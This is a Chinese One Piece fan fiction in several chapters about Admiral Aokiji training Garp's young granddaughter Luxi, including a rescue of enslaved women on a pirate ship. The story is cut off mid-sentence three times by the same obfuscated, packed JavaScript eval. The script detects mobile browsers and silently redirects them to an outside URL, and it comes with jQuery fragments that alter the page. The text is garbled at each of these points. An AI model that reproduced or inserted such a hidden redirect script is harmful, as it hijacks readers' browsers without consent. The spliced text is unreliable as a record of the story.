痛楚又回来了，比先前更加强烈。每打一次都会牵动身体神经，生理性流泪，大口大口喘气。再度艰难出了几拳，却几乎是条件反射般的反应，拳头离军舰几毫米处，无法再前进一点。 双手在颤抖。 最后只是无比轻柔的，碰了碰那处沾染她血液的地方。 “老师老师，我不行啦。” 干脆利落地承认了自己的极限。 “是嘛。” 听到对方不甚在意的回答。 全身无力，难以移动，双手疼痛，眼皮沉重，只想好好睡一觉。抬头看去，她的新任老师还在继续捶打着军舰。与自己除了受伤之外几乎没成果的情况不同，这个人拳头挥打的地方，又凹陷了不少进去。 这就是成为大将的存在啊。她的实力果然还差得很远。 与身体上的疲倦不同，心灵却轻松愉快了起来。 终于等到对方也结束锻炼，青雉吐出一口气，低头看了一眼底下的人说道：“走了。” 路希尝试转身迈开双脚，然而身体摇摇晃晃，好似下一秒就要摔倒。青雉已经向前走了好几步。 路希稳住身形，看着对方的背影大喊：“老师老师，我走不动啦。”喊人也感到疲倦。 青雉的脚步停了下来，回身望她，似在思考。是不是该把这人提回去？还是让她在这里休息，恢复后再来找自己？ 路希嘴角上翘，笑得灿烂：“老师老师，可不可以背我去医务室啊？我的手得让医生处理一下。” 女孩的脸笑得如同向日葵一样灿烂，只是苍白了点，与有些血肉模糊的手成反比。青雉挠挠头，后知后觉想到，好像也是。不过原来还要背着去吗？他开口：“一步都走不动了吗？” 路希点头：“嗯！” 青雉：“哎。” 老师什么的，就是麻烦啊。 他认命地走回去，微微弯腰，一手提起路希，在对方“诶”的声音中放到自己背上，感受到对方慢慢滑下去，无动于衷说道：“自己趴好，掉下去了我不管。” 路希嘟嘟囔囔：“老师我手很痛诶。” 于是青雉无奈地往后伸出另一只手托住对方。当初他跟着卡普训练可没这待遇。这老头就算要带他去医务处也是拖着去。 马上又得到了一声夸奖。 “老师老师，你人真好，你一定是最好的大将。” 青雉毫不心虚地接受了这份夸奖，“是啊，你可得给我快点出师。”带学生太麻烦了啊，他想，又得抽时间教学生训练，又得关心对方身体有没有因训练受到损伤。这不是完全失去了摸鱼时间吗！ 路希诚意满满：“我会努力的！争取早日把你踹下去！” 青雉：“……” 他可不可以现在就把她扔下去。 青雉终究还是没多说什么，一路无言地朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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青雉一时有些搞不懂小孩的想法，他把这个定义为年龄差距太大，三十七岁的他已经没有办法理解七岁小鬼的念头了。不过或许，以后他可以买点糖出门，这样哪天对方受伤了就可以请她吃，防止哭出来。 路希继续看着他，有些期待地说道：“老师老师，接下去要训练什么呢？” 青雉眉头跳了一下，觉得这不是应该在医务处谈论的问题。他小心地扫视了一圈周围，还好，没有护士听到这句话怒气冲冲地来骂他。 青雉：“呃……我们出去再说。” 路希跟在他身后，两人离开总是泛着凉意的医务处，来到日光底下。青雉说道：“你先把手伤养好吧，训练的事到时再说。” 随后看到路希一脸莫名其妙地看着他。 路希：“老师老师，我只是手受伤了啊，其它部位都好好的呢。” 还跳了几下示意自己很健康。 青雉不由得陷入沉思，真的假的？现在的小孩已经努力到这种程度了吗？卡普在家都对她们做了什么？ 青雉自认不算十分严厉的师父，不会逼着别人受了伤还要继续训练。但既然学生自己请求，他也不会拒绝。他想了想，说道：“那你先去跑道跑个十圈吧。” 经过护士的一番教训，他已经深刻反省了自己的错误，知晓了孩童体力与成年人不可相比。然而这份好意没被领账。 路希“唔”了一声，思考道：“十圈啊，是不是有点太少了？我看就一百圈吧！”路希抬头笑着对青雉说道，“那就这样，一百圈。老师我先去训练自己了，跑完了再来和你报告。” 青雉：“……？” 医务处的护士们啊……这孩子如果再进医院，这可真不是他的问题了啊！ 38.在海军 青雉最终还是看着路希跑完了一百圈。 他坐在树荫下，跑道外边，大部分时间睡觉，中途偶尔醒来几次，看看跑道上的女孩进程如何。 一开始匀速跑动，到后来速度渐缓，青雉第一次睁眼醒来时，对方几乎以一种蜗牛爬行的速度慢吞吞挪动着。青雉没有出口干预，看了几眼，又闭眼休憩。 第二次睁开眼，路希又跑了起来，比最开始的速度要慢，但比先前挪动的速度要快。不知道是第几圈，但看天色，已近午时。 是不是该吃午饭了？他斜躺在草地上，单手撑住下巴，乱七八糟地想着，有点饿了，早知道该准备点零食过来的。说起来也该带瓶水吧，跑了这么久应该渴了。 青雉打了个哈欠，第三次闭眼小憩，他有点等累了。海军英雄的孙女，这种对海军的热情到底能坚持到什么时候呢？ 青雉有时会回想起往昔，奥哈拉屠魔令事件发生前，他也曾是这样一个对海军、对正义抱有满腔热血的人。可话又说回来，他这个学生的梦想不应该是…… 青雉最后是被拍醒的。 把眼罩往上一移，睁开眼看到的是训练完盘腿坐在他身前的路希，此人正用包扎着纱布的手，兴致满满，相当有节奏感地拍打他的脸颊，见他醒来，才将手收回。 路希：“老师老师，你醒了。我跑完啦。” 笑容正像落在身上的阳光，温暖，令人舒适。 活泼的孩子。 青雉直起身子，试图开个玩笑：“还要我背你去医务处吗？” 只见路希摇摇头，应道：“不用啦，我只是很累很饿，也很渴，”她对青雉伸出双手，“老师，你可以背我去食堂。” 青雉凝视了她几秒，默不作声地想，这个新收的学生是不是有些得寸进尺了。不过……青雉无奈地叹气，她确实跑完了一百圈。 虽然是被卡普强迫收徒，但在永无止境的工作中，偶尔带个学生，忙点其它事情或许也不错。青雉如先前那般把她提上背，朝着食堂走去。 路希在他的背上摇头晃脑，甚至哼起了乐曲。 青雉默默听着，调子还不错，他想。 下午的时间终于没有如上午那般拼命训练，午饭结束后，连续训练带来的疲倦诚实地在路希的身上体现出来，她不住地打盹。青雉建议道：“你可以回去睡觉。” 另一点，他也不想一直被一个小孩跟着。 路希打着哈欠问话：“老师，那你呢？” 青雉平淡地吐出两个字：“工作。” 路希“噢噢”了两声，转身就走，“那我先走了，老师你工作加油。” 实在是看不出多少诚心的加油，青雉看着对方离去的背影，开始认真思考让这个学生代替自己处理公文的可行性。既然卡普说的是培养成未来的海军元帅，那提早接触海军公务也是正常的，是吧？ 青雉在自己的办公室忙里偷闲工作了一下午。结束后靠在椅背上思考下班后要不要去附近的小岛吃个晚饭，说不定还能偶遇什么命中天女，就敏锐地听见走廊里传来哒哒哒的脚步声，最后在他的门前停下。 路希用没受伤的脚踢踢门，青雉没回声，试图假装自己不存在。 路希充分发挥主观能动性，自己打开了门，一脸期待地望着椅子上的青雉。 青雉沉痛扶额，说道：“路希士兵，已经是下班时间了。” 路希一副理所当然的模样：“可我是你的学生啊。学生和老师之间怎么会有上下班这种概念呢？”她语气坚定，“没有的，青雉老师。” 简直像恶魔在低语。 青雉觉得自己的语气一定带着淡淡的绝望。“我要去吃饭了。” 路希应道：“我也没吃，老师，我们可以一起吃。” 完了，这下是真的被小鬼缠上了。都是卡普的错。青雉盯着天花板看了几十秒，骤然起身，“走。” 他决定要用实际行动让这个烦人的学生知难而退。 青雉带着路希来到本部码头，他把自己的自行车停放在这里。路希扫视了一圈周围，不确定问道：“老师，我们要出海了吗？” 青雉：“是啊。” 冰冰果实的能力在海面上冻出一条道路，青雉骑上自行车准备前行，对着站在地上的路希说道：“我们该走了。” 路希打量着自行车，思考目前的情况。自行车没有车篮也没有后座，而她的老师显然不准备让她继续趴在背上。 路希一脸顿悟的表情：“我知道了，老师，这就是新的训练。” 她踏在冰冻的海面上，被纱布包裹的手直指前方，“出发——！” 她开始跑步前进。 青雉不急不慢地骑着自行车，漫不经心地注意着身后的动静。不管怎么说，小孩的体力是有限的。上午的训练已经消耗了她太多的体力，即便饱餐一顿，睡了一下午，但人能承受的力度仍是有限的。 她撑不到那座岛，青雉十分确信。 也确实如他所想。 并未过去多久，只是黄昏的晚霞淡去，星星已开始装点起了夜空。路希从与他的自行车并肩变成了落在后面。 随后月亮的模样愈发清晰，对方的脚步变得拖拖拉拉。青雉听到她大口的喘气声。路希在他身后喊道：“老师你可以骑的慢一点吗？因为我很累，但是我想跟上你。” 青雉的动作并未放缓，她们的距离愈发遥远。对方在冰面上缓慢而又安静地行走着。 冰制成的道路还不会那么快融化，但距离若拉得在远些，后面的小孩没能追上，一切便说不准。她可能会掉落海中。如果没能力气跑步，那应该也没有力气游泳。 一段路后，大约是休息够了，重新积攒了体力，对方又跑了起来。随后再过一段路，继续停下来走路。就这样跑跑停停，他始终没能脱离路希的视线。 青雉感觉骑车的腿有些累，于是停了下来，一脚踏地，看着远处的海平线。天色黑了下去，远方的景色已是一片模糊的影。身后的学生花了几分钟，也终于到达他的身边。 路希抬头望着他，注意到对方的视线，青雉也稍稍垂下了头，海风带着些许凉意，拂过脸面。路希的脸上滴落汗水，他忍不住想，真是有够拼命。 在这茫茫无边际的海面上，她们是唯二存在的人。 青雉忽然问道：“你的梦想不是成为什么海军王，也不是当上元帅吧。”他 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路希拿不准青雉这个问题的用意，不过话说回来，能够这样谈论家事，她的爷爷应当十分信任这位大将吧。她的嘴角微微上翘，答道：“是海军王呀。” 青雉没放过她。“不当世界之王了吗？” “老师，你还记得你小时候的梦想吗？” “忘了。” 路希撇撇嘴，说道：“因为我们的岛上来了革命军，把王国里的贵族全抓走了。” 这事青雉知道，革命军袭击哥亚王国，天龙人被迫改航，卡普及时赶回去防止更大损失，据说信息是眼前之人传达给卡普的。他没出声，继续听路希往下说。 “我本来是把哥亚王国当做我的领土的，虽然还打不过贵族，但贵族也是我的人，要教训也只能被我教训。但是革命军算什么事嘛！直接把我的计划都打乱了，而且看起来就很强，根本打不过。” “老师，我太生气了！然后意识到只待在岛上是没法变强的，因为根本没有人教我。爷爷也是，整天忙着海上抓海贼，忙起来半年都不见得有空来一次。所以我要当海军，海军里肯定有专门教人变强的法子。” “然后呢然后呢，等我成为最强的海军，坐上元帅的位置，我就要把革命军的人通通抓出来，全部打一顿，让他们把我的虏仆……啊不是，把那些贵族还回来。接着我就要踩在他们头上耀武扬威，让这群人认我当老大啦。这样海军和革命军都是我的，我也是世界之王了。” 对方得意洋洋，信心满满。 青雉：“……” 嗯……完全的小孩心性呢，就好像心爱的玩具被抢走了一定要抢回来一样。是他高看对方了。 青雉无奈扶额：“……算了，你跟我走吧。”他起身，本来想直接上自行车骑走，又看身边的女孩原地伸展了下身体，准备继续跑步。 路途还很远呢。 他看了一眼自己的自行车，没有车篮也没有车后座。青雉想了想，拽住对方的衣领再次提起来，把她放到车垫上，平淡说道：“坐好，走了。” 他推车前行。 39.在海军 青雉自此过上了水深火热的日子，他自己形容的。水深火热，十分痛苦。 因为只要他在海军本部，路希几乎不给他私人休息的时间与空间。 青雉会在每日早晨五点多被对方在门外叫醒，海军大将不必挤在宿舍楼，有自己的独立宿舍。路希每早跑过来定时打扰他睡觉。问起怎么知道住哪里的，答道跑去问了后勤人员。 那天他戴着眼罩，沉浸在梦乡，忽而被门外热情的叫喊声吵醒。 “青雉老师青雉老师青雉老师，起床啦——！”“青雉老师青雉老师青雉老师，别睡啦——！”“青雉老师青雉老师青雉老师，几点啦，你怎么睡得着的啊！” 如此这般，魔音绕耳。 青雉把眼罩上拉，痛苦地睁开眼，门发出“砰砰砰”的敲打声，他心想，好没有礼貌。 拉开窗帘，天微微发亮。看一眼时间，六点不到。青雉拖着沉重的步伐去开了门，面色阴沉：“你知道现在几点吗？” 路希不答，只是笑道：“老师老师，该起床训练了。” 青雉双手放到对方的肩膀上，提起来给她转了个面向，接着把人往外推，语调低沉：“路希新兵，你现在最需要的训练是学会好好睡觉。” 路希用脚跟抵着地面，加大对抗的力度，防止被推出去，精神满满说道：“老师，我睡饱了。” 青雉：“不，你没有。” 路希：“老师，当海军不能偷懒，而且我还要成为未来的元帅。” 青雉差点想把她直接扔出去，最后强忍住这股冲动。“未来的元帅，请不要妨碍现任的大将休息。” 路希：“老师，醒过来的时候就代表休息时间结束了。” 青雉面无表情地给了她一个板栗，在路希的“哎呦”声中。他使用了果实能力。温度骤然下降，周身出现白霜，底下的道路化为冰面。摩擦力减弱，他加大力度，往路希背后一推，对方像初学溜冰的人一样，嗖的一下滑了出去，正在冰面上跌跌撞撞试图保持着身体平衡。 但还没结束。 青雉继续使用着能力。路希的周身出现冰墙，很快地，冰墙变成了小小的冰屋，将她困在里面。冰屋没有门，无法推门而出。抬头往上看倒是能看到天空，青雉没封顶，但数米的高度，又没有支撑点，爬不出去。 路希陷入沉思。 青雉满意了，拍拍手，轻松道：“好了，你就先在这里面待着吧。当然，有能力的话也可以自己出来，那时再来找我准备训练的事。” 他转身回去睡觉。 手伤未愈，路希用脚踢了踢冰屋，很坚硬。冷气缠绕着她，这时间的太阳还不够热烈，难以融化冰屋。 她想起青雉先前教过她的六式之一，岚脚的理念。 路希的脸上露出笑容，嗯，决定了，就用这个来学习一下岚脚吧。 首先要腿部肌肉收缩伸展，在这个动作中积蓄力量，接着将这股力量集中到一处，用最快的速度出腿——最重要的出腿的速度要快，十分快，非常快。因为这样才可以让空气压缩。 岚脚并非指用脚部对敌人造成攻击，而是指在出腿的瞬间，产生的攻击波对对方造成有效伤害。 在这种情况下，练习这个简直太合适了。她不能像之前用手殴打军舰一样，用脚踢冰块，不然可能会导致脚和手一样包扎起来，一旦这样，就真的要休息一段时间才能学习了。岚脚不需要触碰到物体，在这个过程中说不定还能感受一下所谓的武装色霸气呢。 路希说练就练，迅速行动起来。她还相当有节奏的为自己配音：嘿、哈、嘿、哈。 差不多感觉要到极限了，就停下来，坐在地上休息一会恢复体力。不倚靠在冰墙上，是因为太冷了，一碰让她忍不住浑身一激灵。或许以后来找青雉，要多穿件外套，毕竟对方随时能用这种能力。 她在屋外努力训练，而屋里的青雉补觉结束，躺在床上发了一会呆，想起门外还有个小孩被他关着。在再关一会，让对方学会知难而退与要不去看看情况好了两个选择中，他思来想去，终于起身决定出门。 肚子饿了，早饭还没吃。 推开门，冰屋毫无融化的迹象。嗯，毕竟是身为大将的他出手建造的，青雉相当满意地打量着自己的作品。 也不知道里面的人有没有学会放弃。 青雉侧耳倾听了一下，并无哭闹声，也无谩骂声——他还记得这人当面骂过卡普让他去吃屎呢，他现在还没这待遇，不知道什么时候会有。 从厚厚的冰层里传出来的，似乎是相当有节奏的口号声。 ——嘿、哈！ 青雉眼皮一跳，心想她该不会在里面凿冰吧。他回忆了一下，此孩方才出现时，身上没带武器，赤手空拳。 手也被绷带包扎着，应当挖不了。那么就是用脚？总不可能用身体撞出来吧。可转眼又想到对方训练时的拼劲，好像也不无可能。不不，他迅速否定，这种行为还是太愚蠢了。 不过话说回来，这要是全身都缠上了绷带，卡普应该不会怪他吧。 青雉仰望天空，哀叹一声，带学生难，带年龄小的学生更是又累又难。总之先把她放出来吧，正好可以带去吃个早饭。 冰屋骤然出现裂缝，路希察觉到情况，停下练习，观察四周。哗啦一声，正前方的位置，冰块碎了一地，青雉的身影出现在她眼中。 哦，这是睡够了。那她在冰屋的锻炼也就此结束。路希心情大好地走了出去，挥手招呼，“老师老师，你醒了。” 青雉应了一声：“嗯。” 青雉扫视了一眼，挺好的，除却手上的旧伤，没添新伤。只是气喘吁吁，果然没乖乖地待在里面休息。 路希主动报告自己的训练情况。“老师，我在练习岚脚。” 是岚脚啊……青雉从对方的态度察觉到她还有几分小骄傲的情绪在里面。不过能适应环境、做出决策、制定训练计划，她确实值得为自己感到自豪。 青雉不会吝啬自己的夸奖，他说道：“你做得不错。” 路希：“那当然。” 青雉无奈摇摇头：“走吧，吃早饭去。” 他或许得早日习惯这种生活，他也不得不习惯这种生活。 * 关于海军大将青雉收了卡普中将的孙女作为学生的事情，很快地在海军中传播开来。毕竟总是能看见两个人在一起的身影。 卡普中将对此表示十分满意，走在路上笑得更开怀了，背也挺得更直了，扔炮弹的手更加有力了。路希也对此十分满意，一天的训练结束总是能感到自己在进步。唯一表示不太满意的是青雉，不过好在他不用一直待在海军本部，大将可是需要经常外出的。 “听好了，”青雉蹲下来盯着她的眼睛说，“你现在的能力还不足以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187571|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支持你和我一同行动，我也没有那么多闲心在战斗中关照一个小孩。为了你自己的性命着想，还是先和卡普老师一起出航吧。” 卡普，她的爷爷倒是挺乐意在出航时候带着她。不过她还是有个问题。“老师，你什么时候回来？” 青雉可疑地犹豫了一会，“这种事情没个准信，毕竟时常会有突发意外。” 路希转而问了另一个问题，“那我什么才可以和你一起外出行动？” “至少等你学会并掌握武装色霸气。” “武装色霸气啊……” 这是个相当遥远的目标，至少青雉不觉得对方会在几天、或者几个月内学会，也就是说他在外面的自由时间会有很多。青雉有时甚至会觉得，路希逼他逼得如此紧，就是为了让他忍无可忍，不愿教学，方便她有理由加入鹤中将的女子海军队。 不过……应该还是想多了吧。毕竟他能感受到，自己的这个学生是真心想要变强。 青雉在起身前郑重地拍了拍对方的肩，已示鼓励。“好了，路希三等兵，你的老师我现在出发了，你在海军本部要好好努力。” “收到——！” 路希还认真地行了个礼。 青雉骑着他的自行车平稳地向远方驶去，路希看了一会，没有闲心等对方的背影消失，返身回去。 她手上的伤好的差不多了，可以继续去打军舰。此外，六式的岚脚和月步对速度的要求很高，还得去锻炼一下爆发力。 虽然没法见识到大将是怎么完成任务的，但是在爷爷的船上也不差。爷爷可是她老师的老师。 古伊娜不会和她一起行动，因为听后勤部的姐姐们说，鹤中将的船在返航途中。古伊娜准备到时候去申请加入女子海军队。 闲聊中，她还得知与自己的爷爷同样，鹤中将的孙女也加入了海军。 是一个叫孔雀的少年，今天十四岁，恶魔果实能力者，至于具体的能力，后勤部的姐姐们没有告诉她们。 孔雀比她大了七岁，但加入海军的年龄比她和古伊娜晚。对方十三岁的时候加入海军，今年已经成为了伍长。 能够在一年时间内晋升为伍长，想来实力不会差到哪里去。而且，她对孔雀的恶魔果实能力也有几分兴趣。 到目前为止，路希见过的恶魔果实能力者只有路飞和青雉。路飞虽然吃了恶魔果实，但还未完全开发果实能力，导致在科尔伯山的时候，他战力是最弱的一个。但青雉的能力她已经体会到了。 路希把探查孔雀能力的任务交给了古伊娜，因为她即将与卡普一同出航。她神情严肃，一手搭在古伊娜的肩上：“古伊娜，查明敌人能力的重任就交给你了。”孔雀回来的时候，她已经在海上了。 古伊娜神情微妙，看着她未说一句话。 路希憋不住了，“喂喂喂，给我点面子嘛！” 古伊娜终于忍不住笑了出来，“好了好了，交给我吧，保证把对方的能力信息告知你。” 路希哼了一下：“这还差不多。” 古伊娜问道：“明天出发？” 路希：“嗯！” 古伊娜：“等你回来，我们再来打一场吧。我想看看，我们都进步了多少。” 路希双眼一亮，果断答应：“好。” 这种请求，她自然是求之不得。然后，便是度过休息的一夜，等待第二天的启航。 40.在海军 蒙奇·D·路希，七岁，正在考虑遗言的内容。 “那个……卡普中将，这样真的好吗？”“是啊，中将……这么做……她还只是个孩子啊。”“实在是太危险了一点吧，中将。”“要不换个方式吧，中将？” 面对着部下诸如此类的劝导，卡普的反应是——挖了挖耳朵，表示什么都没听到。 而事件的另一主人公，正被卡普绑在鱼竿的前端，当做鱼饵钓海王类。 这是自海军本部出航第三日，一路上，并未遇见什么危机，只是途中遇见并炮轰了几艘海贼船，给他们带去危机。并且从其中一艘船上发现了几个被当做虏隶的不幸平民。 这些人被绑着堵住嘴巴扔在船舱底下，是路希第一个发现的。当时，海军们还在海贼船上与那些海贼们战斗。 甲板上战火连天，刀剑相撞，枪声砰砰，你来我往，好不热闹。路希小心翼翼躲在暗处，偶尔抓准时机给海贼来个偷袭。 正面作战，对目前的她而言仍有些困难。 因为弱小，所以更要谨慎注意周身情况，眼观鼻鼻观心，将视线所至之处的人与物皆纳入眼中，记入脑中。 愤怒、恐慌、试图求饶的海贼们，兴奋、热血沸腾、厌恶海贼的海军们，以及，最为平静，一拳好几个海贼的爷爷。 就是这样的战斗情况，而也正是如此专心之时，她的思绪莫名战栗了一下，有些许阴冷湿暗的东西在一瞬间攫住了她，在被察觉之后，又迅速消散。 还有另一种——不存在于此处，而是隐藏在更深处的，黑暗中的一些东西。 她低头看向自己的双脚，两只脚所指的方向并不同，那是在方才异常的瞬间，身体下意识做出的反应。 左脚试图带着她进入船舱，那里面藏着什么。 路希并未犹豫，而是边观察着场上局势，边不引人注意地跑了进去。与吵闹的甲板不同，船舱无人，走道寂静无声。 愈往深处走，愈能感受到温度在降低，里面照射不到太阳。海贼船有些年头了，地板和墙壁破破烂烂，有不少修补过的痕迹，加之先前被炮弹击中，恐怕这场战斗结束，寿命也将到头。 她来到了船舱深处。 最先听到的，是微弱的呜咽声。 路希快步跑过去，绕过乱七八糟堆放的箱子，看见了女人们。 双手双脚被绳索紧紧缚住，嘴巴被破布堵着，脸色苍白，双眼寂寂无光。 是绝望的女人们，作为虏隶被这些海贼带去拍卖场卖掉的商品们。是明知终点乃陌路，却仍因为听到上层的混乱战斗声而爆发了求生欲望，这求生欲夹裹着持续了数日的浓厚绝望摇摇晃晃漂浮上来，在她全身心关注局势的那一瞬抓住了她。 ——救救我们。 ——她感受到了。 ——想要活下去，好想活下去。 ——她躲过海贼，冲向了船舱深处。 视线相对的一瞬间，女人们的眼中骤然燃起希望，随后又转为恐慌，不断摇头，似在提醒着什么。 有埋伏。 路希抓紧手中的武器，有海贼正躲在箱子的后面，沉重的呼吸声清晰地传到她的耳中——在左边，只有一人。 她旋即有了动作，身躯一跃而起，灵巧地凭借中间的受力点跳到箱子最上层。发现目标后，挥舞手中的水管，将其重重击打在海贼的脖子上，爆发力一瞬点燃，将对方一击击飞出去。 但这还不算结束，在不确定敌人彻底失去战斗能力时，她都会紧咬不放。方才的一击只是开始，直到确认这个海贼是真的昏迷过去，她才收起武器，重新挂在腰间，转而去解救那些女人。 女人们的眼中有恐惧的神情。路希歪了歪脑袋思考了会，对她们转过身去，侧头道：“我是海军哦，看，衣服后面还写着正义呢！” 这简直就是海军经典标志。 堵住嘴巴的女人们呜呜了几声，路希露出安抚的笑容，跑过去解开她们的绳子，边解边说道：“抓捕这些海贼的是海军中将卡普的船，你们肯定都听说过这个名字吧。安心安心，没事了。我们会把你们送到最近的海军支部去的。” 她的声音轻快而有力，像一阵又一阵轻飘飘的风逐渐驱散她们心中的恐惧。 路希始终保持着笑容。“我们会保护你们的，这些海贼一定没怎么让你们吃饱饭吧，没事，我们船上有免费的食物，有肉有菜有饭，你们想怎么吃就怎么吃。” “对了，还可以好好洗个澡，我们还带了医生呢，有受伤什么的，还可以让医生看看。” 她唠唠叨叨，好像要说的话永远说不完。然而也是在这种她单方面喋喋不休的情况中，终于有女人忍不住发出了第一道哭声，路希迅速解开眼前女人的束缚，然后跑到哭泣的女人前面，轻轻抱住她。 “没事啦没事啦，海军来救你们啦。可以随便哭哦！” 真是奇怪，明明她才是这里最小的孩子，却散发出了一股不可思议的让人安心的力量。哭泣的女人伸手，回抱住她。 是能真切感受到的温暖的体温。 也有没哭的女人侧耳倾听着上方的动静，有些神经质地咬着手指，不安说道：“上面是不是没动静了？” 路希对她露出一个肯定的笑容。“那肯定是海军把海贼全打倒了，走，我们也上去。”她拍了拍哭泣女人的背部，说道，“姐姐我现在不能抱你了，因为我还得把那个海贼拖到上面去，但我可以握住你的手。我可以一只手拖海贼，一只手跟你握。” 哭泣的女人擦干泪，不太好意思地说话，“没事的，我还不算没用到这种程度。只是刚才一时情绪失控，”她顿了顿，接着说道，“我帮你一起拖海贼吧。”让一个小孩做这种事怪不好意思的，虽然她是海军。 其她女人也纷纷响应。 最后，被路希击败的海贼遭到女人们先前相同的遭遇——用绳子捆绑住，过程中这些女人们压抑不住愤怒，恶狠狠地在他身上踩了几脚。 甲板上的海军已经在收拾残局了，也有人进入船舱，查看情况。正好撞见迎面而来的她们，路希熟稔地挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188350|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手打招呼。 能感到身后的这群人更加安心了。 之后便是惯例的流程，路希看着其他海军们忙来忙去，自己也不准备闲着，把这群女人们先带去医务室检查身体，看是否需要治疗。 送到之后她便离开了，检查需要花费一定时间，她还想去外面看看情况。不过一如既往，没什么需要她帮忙的。 她很是无聊地蹲在角落，心想解救受害人这功劳能不能记她头上，虽然之后处理战后情况时，海军也会发现，但她是在战局还未结束时就发现的诶，并且独自打倒了一个海贼，还好好的安慰了她们呢。 功劳没等到，倒是先迎来了卡普，路希抬头看着他，问道：“干什么？”难道偶尔的摸鱼也不给摸吗？ 卡普倒不是为她浑水摸鱼的事，而是提了另一个问题：“刚才战斗的时候，你跑去哪里了？” 路希诚实答道：“我去船舱底下了。” 卡普：“为什么要在中途战斗的时候去那里？” 路希：“唔，因为感觉到了。” 卡普挑眉：“感觉到什么？” 路希：“气息。有一瞬间感觉到下面有什么糟糕的东西堆叠着，所以我跑下去了。” 卡普：“……” 卡普盯着她看了一会，然后走掉了。路希并不清楚自己的爷爷想到了什么，只觉得他莫名其妙。 然后，又过了一段时间，便是莫名其妙的发展成一开始的情况了。路希挂在鱼竿上，陷入了深深的疑惑：“诶？怎么军舰还配备鱼竿啊？” 围观的海军们：“这不是重点吧？！” 卡普不甚在意的回答：“一点小爱好而已。” 路希：“所以你都是用人来钓鱼的吗？” 卡普哈哈一笑，否认。“不，你是第一个。” 路希：“为什么？” 卡普：“训练。” 围观的海军们：“哪有这样子训练的啊！中将你清醒一点啊！” 路希看着底下湛蓝的海面，里面有着潜藏的危机，她平静说道：“爷爷，我还做不到一脚踢飞一个海王类。” 卡普：“不是这个。” “唔。”她眨了眨眼，在脑中搜寻自己目前了解的情报。前几天的航行中，卡普并未做出如此举动。然而今天……至少在和这艘海贼船对上之前，她的爷爷应当都未产生这种念头。如果要说异常的情况，那便是方才的对话。 她忽然的感应到，那些盘旋在船舱下的情感导致的。路希仔细回忆了一下青雉的理论教学，随后问道，“是为了训练我的见闻色霸气吗？” 卡普答：“还不算迟钝。你已经拥有这份力量了，现在你要学会如何使用它。” 路希不认为卡普会眼睁睁看着她被海王类或者海兽吃掉，但是她确实处在一种危机情况中。那么她要做的，应该就是在危机来临前察觉到这一点，并报告给卡普。 毒辣的太阳照在她的身上，汗水滴落，悄无声息地融入海中。她叹了口气，问：“我可以先想一下遗言吗？” 41.在海军 卡普并不理她，只是把钓竿往下放了放。路希离海平面也更近一步。 她把注意力集中到身下，不管怎么说，海王类总是危险的。卡普或许能比她更早的察觉到危险来临，但是万一失误了呢。 教导她的青雉说过，使用见闻色霸气的前提是冷静，因为冷静，才能掌控自身情绪，觉察到周身动静。 她凝视着蓝色的大海，海面偶尔掀起浪花，飞溅在船身上。太阳是灼热的，拂过皮肤的海风也带了热气。 安静。 海平面之下，是否有海兽正隔着这层屏障悄无声息地观望着她，试图将她吞噬。路希不知道答案，她什么都没感觉到。 呼吸与心跳声。 沉重、激烈。来自于围观的海军们。人与人的情绪相互感染，不知何时，成了统一的节奏。 哗啦、哗啦。浪花的声音。咔哒一声，船上有扇门被打开又被关上。哒哒，走路的脚步声，一个女人。轻缓的，不重不急。 海面映照着她的影子，黑色的。海流似乎比先前更快了一些。急促。 路希忽然大喊：“来了——！” 大海平静无波。上空路过的海鸥拉了一坨屎掉落在她头上。 路希：“……呃。” 紧张围观的海军们：“……” 路希&围观的海军：“是鸟屎啊——！” 卡普无动于衷：“再给我练。” 从医务室出来的那个女人终于抵达到甲板，目瞪口呆地观望着眼前的一切：“你们在干什么啊？！” 海军？虐待小孩？？？她下意识扑过去，试图抢夺鱼竿。 卡普把鱼竿高高提起，不让她碰到，理直气壮地答话：“训练。” 路希在空中七晃八晃，海军们整齐地点头。没错，训练。 女人：“……哈？”把一个小孩挂在鱼竿上是训练什么玩意啊？！海军拿着她们的钱一天到晚都在干什么东西？她指责道：“她只是一个小孩，你们到底在搞什么啊？” 卡普：“既然加入了海军就没有大人小孩之分，这家伙想实现自己的野心就得自己努力。大海就是这样的地方。” 路希这次也十分赞同卡普的话，说实话，她已经不想再被别人当成小孩了。她可是推翻了哥亚王国的人！虽然迫于各种原因没几个人知道。但她的智商毫无疑问超过了同年龄段的小孩，每天醒来都要美滋滋地感叹十几秒钟自己怎么是个这么聪明的天才。 她对女人挥挥手，大喊道：“没关系，我自愿的——” 而几乎是在话音刚落下之际，一股沉重的压迫感自海面下方直直向她袭来。 来了—— 浪花拍打的动静比原先更甚。海兽终于要对鱼饵下嘴。刚才一闪而过的气息并不是错觉。 必须要—— 来不及说出口。 